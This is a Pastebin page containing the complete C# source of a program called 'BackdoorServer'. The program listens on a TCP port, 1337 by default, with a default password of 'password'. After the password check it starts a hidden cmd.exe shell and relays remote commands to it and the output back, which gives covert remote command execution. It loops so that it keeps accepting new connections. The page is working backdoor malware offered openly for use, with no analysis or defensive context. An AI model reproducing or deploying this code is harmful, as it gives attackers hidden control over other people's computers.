Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Diagnostics;
- using System.Net;
- using System.Net.Sockets;
- using System.Threading;
- using System.IO;
- namespace BackdoorServer
- {
- public class Backdoor
- {
- private TcpListener listener;
- private Socket mainSocket;
- private int port;
- private String name;
- private String password;
- private bool verbose = true;
- private Process shell;
- private StreamReader fromShell;
- private StreamWriter toShell;
- private StreamReader inStream;
- private StreamWriter outStream;
- private Thread shellThread;
- private static int DEFAULT_PORT = 1337;
- private static String DEFAULT_NAME = "Server";
- private static String DEFAULT_PASS = "password";
- public Backdoor()
- {
- port = DEFAULT_PORT;
- name = DEFAULT_NAME;
- password = DEFAULT_PASS;
- }
- public Backdoor(int p)
- {
- port = p;
- name = DEFAULT_NAME;
- password = DEFAULT_PASS;
- }
- public Backdoor(int p, String n)
- {
- port = p;
- name = n;
- password = DEFAULT_PASS;
- }
- public Backdoor(int p, String n, String pass)
- {
- port = p;
- name = n;
- password = pass;
- }
- public Backdoor(int p, String n, String pass, bool verb)
- {
- port = p;
- name = n;
- password = pass;
- verbose = verb;
- }
- public void startServer()
- {
- try
- {
- if (verbose)
- Console.WriteLine("Listening on port " + port);
- listener = new TcpListener(port);
- listener.Start();
- mainSocket = listener.AcceptSocket();
- if (verbose)
- Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint);
- Stream s = new NetworkStream(mainSocket);
- inStream = new StreamReader(s);
- outStream = new StreamWriter(s);
- outStream.AutoFlush = true;
- String checkPass = inStream.ReadLine();
- if (verbose)
- Console.WriteLine("Client tried password " + checkPass);
- if (!checkPass.Equals(password))
- {
- if (verbose)
- Console.WriteLine("Incorrect Password");
- badPass();
- return;
- }
- if (verbose)
- Console.WriteLine("Password Accepted.");
- shell = new Process();
- ProcessStartInfo p = new ProcessStartInfo("cmd");
- p.CreateNoWindow = true;
- p.UseShellExecute = false;
- p.RedirectStandardError = true;
- p.RedirectStandardInput = true;
- p.RedirectStandardOutput = true;
- shell.StartInfo = p;
- shell.Start();
- toShell = shell.StandardInput;
- fromShell = shell.StandardOutput;
- toShell.AutoFlush = true;
- shellThread = new Thread(new ThreadStart(getShellInput));
- shellThread.Start();
- outStream.WriteLine("Welcome to " + name + " backdoor server.");
- outStream.WriteLine("Starting shell...\n");
- getInput();
- dropConnection();
- }
- catch (Exception) { dropConnection(); }
- }
- void getShellInput()
- {
- try
- {
- String tempBuf = "";
- outStream.WriteLine("\r\n");
- while ((tempBuf = fromShell.ReadLine()) != null)
- {
- outStream.WriteLine(tempBuf + "\r");
- }
- dropConnection();
- }
- catch (Exception) { /*dropConnection();*/ }
- }
- private void getInput()
- {
- try
- {
- String tempBuff = "";
- while (((tempBuff = inStream.ReadLine()) != null))
- {
- if (verbose)
- Console.WriteLine("Received command: " + tempBuff);
- handleCommand(tempBuff);
- }
- }
- catch (Exception) { }
- }
- private void handleCommand(String com)
- {
- try
- {
- if (com.Equals("exit"))
- {
- outStream.WriteLine("\n\nClosing the shell and Dropping the connection...");
- dropConnection();
- }
- toShell.WriteLine(com + "\r\n");
- }
- catch (Exception) { dropConnection(); }
- }
- private void badPass()
- {
- inStream.Dispose();
- outStream.Dispose();
- mainSocket.Close();
- listener.Stop();
- return;
- }
- private void dropConnection()
- {
- try
- {
- if (verbose)
- Console.WriteLine("Dropping Connection");
- shell.Close();
- shell.Dispose();
- shellThread.Abort();
- shellThread = null;
- inStream.Dispose();
- outStream.Dispose();
- toShell.Dispose();
- fromShell.Dispose();
- shell.Dispose();
- mainSocket.Close();
- listener.Stop();
- return;
- }
- catch (Exception) { }
- }
- static void Main(string[] args)
- {
- try
- {
- Backdoor bd = new Backdoor();
- if (args.Length == 1)
- bd = new Backdoor(int.Parse(args[0]));
- if (args.Length == 2)
- bd = new Backdoor(int.Parse(args[0]), args[1]);
- if (args.Length == 3)
- bd = new Backdoor(int.Parse(args[0]), args[1], args[2]);
- else if (args.Length == 4)
- bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3]));
- while (true)
- {
- bd.startServer();
- }
- }
- catch (Exception) { }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment